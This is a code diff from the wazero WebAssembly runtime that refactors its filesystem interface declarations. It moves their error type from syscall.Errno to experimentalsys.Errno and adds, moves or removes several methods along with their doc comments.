|
||||
// Write implements File.Write
|
||||
func (DirFile) Write([]byte) (int, syscall.Errno) {
|
||||
return 0, syscall.EISDIR
|
||||
func (DirFile) Write([]byte) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// Pwrite implements File.Pwrite
|
||||
func (DirFile) Pwrite([]byte, int64) (int, syscall.Errno) {
|
||||
return 0, syscall.EISDIR
|
||||
func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) {
|
||||
return 0, experimentalsys.EISDIR
|
||||
}
|
||||
|
||||
// Truncate implements File.Truncate
|
||||
func (DirFile) Truncate(int64) syscall.Errno {
|
||||
return syscall.EISDIR
|
||||
func (DirFile) Truncate(int64) experimentalsys.Errno {
|
||||
return experimentalsys.EISDIR
|
||||
}
|
||||
+118
-133
@@ -1,44 +1,77 @@
|
||||
package fsapi
|
||||
|
||||
import (
|
||||
"io/fs"
|
||||
"syscall"
|
||||
"time"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// File is a writeable fs.File bridge backed by syscall functions needed for ABI
|
||||
// including WASI and runtime.GOOS=js.
|
||||
//
|
||||
// Implementations should embed UnimplementedFile for forward compatability. Any
|
||||
// unsupported method or parameter should return syscall.ENOSYS.
|
||||
// unsupported method or parameter should return ENOSYS.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// All methods that can return an error return a syscall.Errno, which is zero
|
||||
// All methods that can return an error return a Errno, which is zero
|
||||
// on success.
|
||||
//
|
||||
// Restricting to syscall.Errno matches current WebAssembly host functions,
|
||||
// Restricting to Errno matches current WebAssembly host functions,
|
||||
// which are constrained to well-known error codes. For example, `GOOS=js` maps
|
||||
// hard coded values and panics otherwise. More commonly, WASI maps syscall
|
||||
// errors to u32 numeric values.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// A writable filesystem abstraction is not yet implemented as of Go 1.20. See
|
||||
// https://github.com/golang/go/issues/45757
|
||||
// - You must call Close to avoid file resource conflicts. For example,
|
||||
// Windows cannot delete the underlying directory while a handle to it
|
||||
// remains open.
|
||||
// - A writable filesystem abstraction is not yet implemented as of Go 1.20.
|
||||
// See https://github.com/golang/go/issues/45757
|
||||
type File interface {
|
||||
// Ino returns the inode (Stat_t.Ino) of this file, zero if unknown or an
|
||||
// error there was an error retrieving it.
|
||||
// Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or
|
||||
// an error retrieving it.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat, except syscall.ENOSYS should not
|
||||
// Possible errors are those from Stat, except ENOSYS should not
|
||||
// be returned. Zero should be returned if there is no implementation.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Some implementations implement this with a cached call to Stat.
|
||||
Ino() (uint64, syscall.Errno)
|
||||
// - Implementations should cache this result.
|
||||
// - This combined with Ino can implement os.SameFile.
|
||||
Dev() (uint64, experimentalsys.Errno)
|
||||
|
||||
// Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown
|
||||
// or an error retrieving it.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat, except ENOSYS should not
|
||||
// be returned. Zero should be returned if there is no implementation.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Implementations should cache this result.
|
||||
// - This combined with Dev can implement os.SameFile.
|
||||
Ino() (sys.Inode, experimentalsys.Errno)
|
||||
|
||||
// IsDir returns true if this file is a directory or an error there was an
|
||||
// error retrieving this information.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat, except ENOSYS should not
|
||||
// be returned. false should be returned if there is no implementation.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Implementations should cache this result.
|
||||
IsDir() (bool, experimentalsys.Errno)
|
||||
|
||||
// IsNonblock returns true if the file was opened with O_NONBLOCK, or
|
||||
// SetNonblock was successfully enabled on this file.
|
||||
@@ -53,17 +86,17 @@ type File interface {
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.SetNonblock and `fcntl` with O_NONBLOCK in
|
||||
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fcntl.html
|
||||
SetNonblock(enable bool) syscall.Errno
|
||||
SetNonblock(enable bool) experimentalsys.Errno
|
||||
|
||||
// IsAppend returns true if the file was opened with syscall.O_APPEND, or
|
||||
// IsAppend returns true if the file was opened with fsapi.O_APPEND, or
|
||||
// SetAppend was successfully enabled on this file.
|
||||
//
|
||||
// # Notes
|
||||
@@ -72,28 +105,28 @@ type File interface {
|
||||
// the file was not opened via OpenFile.
|
||||
IsAppend() bool
|
||||
|
||||
// SetAppend toggles the append mode (syscall.O_APPEND) of this file.
|
||||
// SetAppend toggles the append mode (fsapi.O_APPEND) of this file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may
|
||||
// have to re-open the underlying file to apply this. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
|
||||
SetAppend(enable bool) syscall.Errno
|
||||
SetAppend(enable bool) experimentalsys.Errno
|
||||
|
||||
// Stat is similar to syscall.Fstat.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -102,29 +135,17 @@ type File interface {
|
||||
// - A fs.FileInfo backed implementation sets atim, mtim and ctim to the
|
||||
// same value.
|
||||
// - Windows allows you to stat a closed directory.
|
||||
Stat() (Stat_t, syscall.Errno)
|
||||
|
||||
// IsDir returns true if this file is a directory or an error there was an
|
||||
// error retrieving this information.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// Possible errors are those from Stat.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - Some implementations implement this with a cached call to Stat.
|
||||
IsDir() (bool, syscall.Errno)
|
||||
Stat() (sys.Stat_t, experimentalsys.Errno)
|
||||
|
||||
// Read attempts to read all bytes in the file into `buf`, and returns the
|
||||
// count read even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed or not readable.
|
||||
// - syscall.EISDIR: the file was a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not readable.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -132,18 +153,18 @@ type File interface {
|
||||
// io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html
|
||||
// - Unlike io.Reader, there is no io.EOF returned on end-of-file. To
|
||||
// read the file completely, the caller must repeat until `n` is zero.
|
||||
Read(buf []byte) (n int, errno syscall.Errno)
|
||||
Read(buf []byte) (n int, errno experimentalsys.Errno)
|
||||
|
||||
// Pread attempts to read all bytes in the file into `p`, starting at the
|
||||
// offset `off`, and returns the count read even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed or not readable.
|
||||
// - syscall.EINVAL: the offset was negative.
|
||||
// - syscall.EISDIR: the file was a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not readable.
|
||||
// - EINVAL: the offset was negative.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -151,7 +172,7 @@ type File interface {
|
||||
// of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html
|
||||
// - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To
|
||||
// read the file completely, the caller must repeat until `n` is zero.
|
||||
Pread(buf []byte, off int64) (n int, errno syscall.Errno)
|
||||
Pread(buf []byte, off int64) (n int, errno experimentalsys.Errno)
|
||||
|
||||
// Seek attempts to set the next offset for Read or Write and returns the
|
||||
// resulting absolute offset or an error.
|
||||
@@ -174,16 +195,16 @@ type File interface {
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed or not readable.
|
||||
// - syscall.EINVAL: the offset was negative.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not readable.
|
||||
// - EINVAL: the offset was negative.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.Seeker and `fseek` in POSIX, preferring semantics
|
||||
// of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html
|
||||
Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno)
|
||||
Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno)
|
||||
|
||||
// PollRead returns if the file has data ready to be read or an error.
|
||||
//
|
||||
@@ -193,8 +214,8 @@ type File interface {
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -203,7 +224,7 @@ type File interface {
|
||||
// - No-op files, such as those which read from /dev/null, should return
|
||||
// immediately true to avoid hangs (because data will never become
|
||||
// available).
|
||||
PollRead(timeout *time.Duration) (ready bool, errno syscall.Errno)
|
||||
PollRead(timeout *time.Duration) (ready bool, errno experimentalsys.Errno)
|
||||
|
||||
// Readdir reads the contents of the directory associated with file and
|
||||
// returns a slice of up to n Dirent values in an arbitrary order. This is
|
||||
@@ -214,136 +235,101 @@ type File interface {
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.ENOTDIR: the file was not a directory
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file was closed or not a directory.
|
||||
// - ENOENT: the directory could not be read (e.g. deleted).
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like `Readdir` on os.File, but unlike `readdir` in POSIX.
|
||||
// See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
|
||||
// - For portability reasons, no error is returned at the end of the
|
||||
// directory, when the file is closed or removed while open.
|
||||
// See https://github.com/ziglang/zig/blob/0.10.1/lib/std/fs.zig#L635-L637
|
||||
Readdir(n int) (dirents []Dirent, errno syscall.Errno)
|
||||
// ^-- TODO: consider being more like POSIX, for example, returning a
|
||||
// closeable Dirent object that can iterate on demand. This would
|
||||
// centralize sizing logic needed by wasi, particularly extra dirents
|
||||
// stored in the sys.FileEntry type. It could possibly reduce the need to
|
||||
// reopen the whole file.
|
||||
// - Unlike os.File, there is no io.EOF returned on end-of-directory. To
|
||||
// read the directory completely, the caller must repeat until the
|
||||
// count read (`len(dirents)`) is less than `n`.
|
||||
// - See /RATIONALE.md for design notes.
|
||||
Readdir(n int) (dirents []Dirent, errno experimentalsys.Errno)
|
||||
|
||||
// Write attempts to write all bytes in `p` to the file, and returns the
|
||||
// count written even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file was closed, not writeable, or a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file was closed, not writeable, or a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.Writer and `write` in POSIX, preferring semantics of
|
||||
// io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html
|
||||
Write(buf []byte) (n int, errno syscall.Errno)
|
||||
Write(buf []byte) (n int, errno experimentalsys.Errno)
|
||||
|
||||
// Pwrite attempts to write all bytes in `p` to the file at the given
|
||||
// offset `off`, and returns the count written even on error.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed or not writeable.
|
||||
// - syscall.EINVAL: the offset was negative.
|
||||
// - syscall.EISDIR: the file was a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed or not writeable.
|
||||
// - EINVAL: the offset was negative.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics
|
||||
// of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html
|
||||
Pwrite(buf []byte, off int64) (n int, errno syscall.Errno)
|
||||
Pwrite(buf []byte, off int64) (n int, errno experimentalsys.Errno)
|
||||
|
||||
// Truncate truncates a file to a specified length.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// - syscall.EINVAL: the `size` is negative.
|
||||
// - syscall.EISDIR: the file was a directory.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
// - EINVAL: the `size` is negative.
|
||||
// - EISDIR: the file was a directory.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Ftruncate and `ftruncate` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html
|
||||
// - Windows does not error when calling Truncate on a closed file.
|
||||
Truncate(size int64) syscall.Errno
|
||||
Truncate(size int64) experimentalsys.Errno
|
||||
|
||||
// Sync synchronizes changes to the file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fsync and `fsync` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html
|
||||
// - This returns with no error instead of syscall.ENOSYS when
|
||||
// - This returns with no error instead of ENOSYS when
|
||||
// unimplemented. This prevents fake filesystems from erring.
|
||||
// - Windows does not error when calling Sync on a closed file.
|
||||
Sync() syscall.Errno
|
||||
Sync() experimentalsys.Errno
|
||||
|
||||
// Datasync synchronizes the data of a file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fdatasync and `fdatasync` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html
|
||||
// - This returns with no error instead of syscall.ENOSYS when
|
||||
// - This returns with no error instead of ENOSYS when
|
||||
// unimplemented. This prevents fake filesystems from erring.
|
||||
// - As this is commonly missing, some implementations dispatch to Sync.
|
||||
Datasync() syscall.Errno
|
||||
|
||||
// Chmod changes the mode of the file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fchmod and `fchmod` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fchmod.html
|
||||
// - Windows ignores the execute bit, and any permissions come back as
|
||||
// group and world. For example, chmod of 0400 reads back as 0444, and
|
||||
// 0700 0666. Also, permissions on directories aren't supported at all.
|
||||
Chmod(fs.FileMode) syscall.Errno
|
||||
|
||||
// Chown changes the owner and group of a file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Fchown and `fchown` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/fchown.html
|
||||
// - This always returns syscall.ENOSYS on windows.
|
||||
Chown(uid, gid int) syscall.Errno
|
||||
Datasync() experimentalsys.Errno
|
||||
|
||||
// Utimens set file access and modification times of this file, at
|
||||
// nanosecond precision.
|
||||
@@ -357,26 +343,25 @@ type File interface {
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EBADF: the file or directory was closed.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - ENOSYS: the implementation does not support this function.
|
||||
// - EBADF: the file or directory was closed.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.UtimesNano and `futimens` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
|
||||
// - Windows requires files to be open with syscall.O_RDWR, which means you
|
||||
// cannot use this to update timestamps on a directory (syscall.EPERM).
|
||||
Utimens(times *[2]syscall.Timespec) syscall.Errno
|
||||
// - Windows requires files to be open with fsapi.O_RDWR, which means you
|
||||
// cannot use this to update timestamps on a directory (EPERM).
|
||||
Utimens(times *[2]syscall.Timespec) experimentalsys.Errno
|
||||
|
||||
// Close closes the underlying file.
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// A zero Errno is returned if unimplemented or success.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Close and `close` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
|
||||
Close() syscall.Errno
|
||||
Close() experimentalsys.Errno
|
||||
}
|
||||
+86
-155
@@ -3,20 +3,23 @@ package fsapi
|
||||
import (
|
||||
"io/fs"
|
||||
"syscall"
|
||||
|
||||
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
|
||||
"github.com/tetratelabs/wazero/sys"
|
||||
)
|
||||
|
||||
// FS is a writeable fs.FS bridge backed by syscall functions needed for ABI
|
||||
// including WASI and runtime.GOOS=js.
|
||||
//
|
||||
// Implementations should embed UnimplementedFS for forward compatability. Any
|
||||
// unsupported method or parameter should return syscall.ENO
|
||||
// unsupported method or parameter should return ENO
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// All methods that can return an error return a syscall.Errno, which is zero
|
||||
// All methods that can return an error return a Errno, which is zero
|
||||
// on success.
|
||||
//
|
||||
// Restricting to syscall.Errno matches current WebAssembly host functions,
|
||||
// Restricting to Errno matches current WebAssembly host functions,
|
||||
// which are constrained to well-known error codes. For example, `GOOS=js` maps
|
||||
// hard coded values and panics otherwise. More commonly, WASI maps syscall
|
||||
// errors to u32 numeric values.
|
||||
@@ -26,33 +29,23 @@ import (
|
||||
// A writable filesystem abstraction is not yet implemented as of Go 1.20. See
|
||||
// https://github.com/golang/go/issues/45757
|
||||
type FS interface {
|
||||
// String should return a human-readable format of the filesystem
|
||||
//
|
||||
// For example, if this filesystem is backed by the real directory
|
||||
// "/tmp/wasm", the expected value is "/tmp/wasm".
|
||||
//
|
||||
// When the host filesystem isn't a real filesystem, substitute a symbolic,
|
||||
// human-readable name. e.g. "virtual"
|
||||
String() string
|
||||
|
||||
// OpenFile opens a file. It should be closed via Close on File.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` or `flag` is invalid.
|
||||
// - syscall.EISDIR: the path was a directory, but flag included
|
||||
// syscall.O_RDWR or syscall.O_WRONLY
|
||||
// - syscall.ENOENT: `path` doesn't exist and `flag` doesn't contain
|
||||
// os.O_CREATE.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` or `flag` is invalid.
|
||||
// - sys.EISDIR: the path was a directory, but flag included O_RDWR or
|
||||
// O_WRONLY
|
||||
// - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT.
|
||||
//
|
||||
// # Constraints on the returned file
|
||||
//
|
||||
// Implementations that can read flags should enforce them regardless of
|
||||
// the type returned. For example, while os.File implements io.Writer,
|
||||
// attempts to write to a directory or a file opened with os.O_RDONLY fail
|
||||
// with a syscall.EBADF.
|
||||
// attempts to write to a directory or a file opened with O_RDONLY fail
|
||||
// with a EBADF.
|
||||
//
|
||||
// Some implementations choose whether to enforce read-only opens, namely
|
||||
// fs.FS. While fs.FS is supported (Adapt), wazero cannot runtime enforce
|
||||
@@ -62,23 +55,19 @@ type FS interface {
|
||||
// # Notes
|
||||
//
|
||||
// - This is like os.OpenFile, except the path is relative to this file
|
||||
// system, and syscall.Errno is returned instead of os.PathError.
|
||||
// - flag are the same as os.OpenFile, for example, os.O_CREATE.
|
||||
// - Implications of permissions when os.O_CREATE are described in Chmod
|
||||
// notes.
|
||||
// system, and Errno is returned instead of os.PathError.
|
||||
// - Implications of permissions when O_CREAT are described in Chmod notes.
|
||||
// - This is like `open` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
|
||||
OpenFile(path string, flag int, perm fs.FileMode) (File, syscall.Errno)
|
||||
// ^^ TODO: Consider syscall.Open, though this implies defining and
|
||||
// coercing flags and perms similar to what is done in os.OpenFile.
|
||||
OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno)
|
||||
|
||||
// Lstat gets file status without following symbolic links.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.ENOENT: `path` doesn't exist.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -90,15 +79,15 @@ type FS interface {
|
||||
// same value.
|
||||
// - When the path is a symbolic link, the stat returned is for the link,
|
||||
// not the file it refers to.
|
||||
Lstat(path string) (Stat_t, syscall.Errno)
|
||||
Lstat(path string) (sys.Stat_t, experimentalsys.Errno)
|
||||
|
||||
// Stat gets file status.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.ENOENT: `path` doesn't exist.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.ENOENT: `path` doesn't exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -110,17 +99,17 @@ type FS interface {
|
||||
// same value.
|
||||
// - When the path is a symbolic link, the stat returned is for the file
|
||||
// it refers to.
|
||||
Stat(path string) (Stat_t, syscall.Errno)
|
||||
Stat(path string) (sys.Stat_t, experimentalsys.Errno)
|
||||
|
||||
// Mkdir makes a directory.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.EEXIST: `path` exists and is a directory.
|
||||
// - syscall.ENOTDIR: `path` exists and is a file.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.EEXIST: `path` exists and is a directory.
|
||||
// - sys.ENOTDIR: `path` exists and is a file.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -129,18 +118,16 @@ type FS interface {
|
||||
// - This is like `mkdir` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html
|
||||
// - Implications of permissions are described in Chmod notes.
|
||||
Mkdir(path string, perm fs.FileMode) syscall.Errno
|
||||
// ^^ TODO: Consider syscall.Mkdir, though this implies defining and
|
||||
// coercing flags and perms similar to what is done in os.Mkdir.
|
||||
Mkdir(path string, perm fs.FileMode) experimentalsys.Errno
|
||||
|
||||
// Chmod changes the mode of the file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.ENOENT: `path` does not exist.
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `path` is invalid.
|
||||
// - sys.ENOENT: `path` does not exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
@@ -151,55 +138,19 @@ type FS interface {
|
||||
// - Windows ignores the execute bit, and any permissions come back as
|
||||
// group and world. For example, chmod of 0400 reads back as 0444, and
|
||||
// 0700 0666. Also, permissions on directories aren't supported at all.
|
||||
Chmod(path string, perm fs.FileMode) syscall.Errno
|
||||
|
||||
// Chown changes the owner and group of a file.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.ENOENT: `path` does not exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Chown, except the `path` is relative to this
|
||||
// file system.
|
||||
// - This is like `chown` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/chown.html
|
||||
// - This always returns syscall.ENOSYS on windows.
|
||||
Chown(path string, uid, gid int) syscall.Errno
|
||||
|
||||
// Lchown changes the owner and group of a symbolic link.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `path` is invalid.
|
||||
// - syscall.ENOENT: `path` does not exist.
|
||||
//
|
||||
// # Notes
|
||||
//
|
||||
// - This is like syscall.Lchown, except the `path` is relative to this
|
||||
// file system.
|
||||
// - This is like `lchown` in POSIX. See
|
||||
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/lchown.html
|
||||
// - Windows will always return syscall.ENOSYS
|
||||
Lchown(path string, uid, gid int) syscall.Errno
|
||||
Chmod(path string, perm fs.FileMode) experimentalsys.Errno
|
||||
|
||||
// Rename renames file or directory.
|
||||
//
|
||||
// # Errors
|
||||
//
|
||||
// A zero syscall.Errno is success. The below are expected otherwise:
|
||||
// - syscall.ENOSYS: the implementation does not support this function.
|
||||
// - syscall.EINVAL: `from` or `to` is invalid.
|
||||
// - syscall.ENOENT: `from` or `to` don't exist.
|
||||
// - syscall.ENOTDIR: `from` is a directory and `to` exists as a file.
|
||||
// - syscall.EISDIR: `from` is a file and `to` exists as a directory.
|
||||
// - syscall.ENOTEMPTY: `both from` and `to` are existing directory, but
|
||||
// A zero Errno is success. The below are expected otherwise:
|
||||
// - sys.ENOSYS: the implementation does not support this function.
|
||||
// - sys.EINVAL: `from` or `to` is invalid.
|
||||
// - sys.ENOENT: `from` or `to` don't exist.
|
||||
// - sys.ENOTDIR: `from` is a directory and `to` exists as a file.
|
||||
// - sys.EISDIR: `from` is a file and `to` exists as a directory.
|
||||
// - sys.ENOTEMPTY: `both from` and `to` are existing directory, but
|
||||
// `to` is not empty.
|
||||
//
|
||||
// # Notes
|
||||
